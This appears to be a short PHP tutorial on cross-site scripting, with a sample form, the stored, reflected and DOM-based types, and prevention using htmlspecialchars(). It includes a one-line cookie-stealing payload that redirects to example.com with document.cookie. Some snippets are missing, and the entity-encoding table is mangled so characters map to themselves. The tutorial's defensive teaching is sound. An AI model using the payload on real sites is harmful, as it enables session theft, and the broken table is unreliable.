What is Cross Site Scripting (XSS). How to prevent this vulnerability in code.
Cross Site Scripting (XSS) Examples
XSS vulnerability arises when your application takes the data from users without properly validating the data. This attack occurs if input field in not validated.
Let’s undestand this through example. Created simple form in which we take name from user.
<form action="data.php" method="post">
<input type="text" name="name" />
<input type="submit" name="submit" />
What i do in this form is taking name from user and submitted it to my data.php file using POST method.
In data.php file let’s write simple PHP script.
This php snippet is just for demostration purpose. In real scenario may be you stored this value in you DB and display in your admin panel. But imagine what happens if user enter something like this.
This print the user browser cookie value. Similarly they can push any malicious script on input field.
ii) Let’s take another example in which they steal the user cookie information.
window.location = "http://example.com?id="+document.cookie;
What this script does is it sent the cookie information to some malicious site example.com . This type of malicious activity occur when you save some comment or post in your database (MySql etc) without validating input data. Next time any user open this post or comment in their browser there cookie information is passed on to example.com .
Types of XSS
i) Persistent or Stored XSS –
In persistent cross site scripting malicious code is stored in data store. Later when this code is render on website, malicious script is executed.
ii) Non Persistent (Reflected) XSS –
In this case malicious script is not stored on server rather that it is presented directly to the user.
iii) DOM based XSS –
Consequences of Cross-Site Scripting (XSS) Attack
i) Through XSS hacker can steal your private and confidential information.
ii) Steal user cookies information which contain session and other important data.
iii) Redirecting to other malicious websites.
iv) Showing IFRAMES which contain adds and annoying pop-ups.
How to Prevent Cross-Site Scripting (XSS) Attack
PHP provides some in-built functions through which you can prevent XSS.
htmlspecialchars() method Convert special characters to HTML entities.
Let’s create one function validate which take string as an argument. It returns the value after encoding special characters to HTML entities.
/* Take string argument. */
Encoding performed are-
‘&’ (ampersand) becomes ‘&’
‘”‘ (double quote) becomes ‘"’ when ENT_NOQUOTES is not set.
“‘” (single quote) becomes ‘'’ (or ') only when ENT_QUOTES is set.
‘<‘ (less than) becomes ‘<’
‘>’ (greater than) becomes ‘>’
Check more about htmlspecialchars() function on php.net community.
It will remove PHP and HTML tags from a string.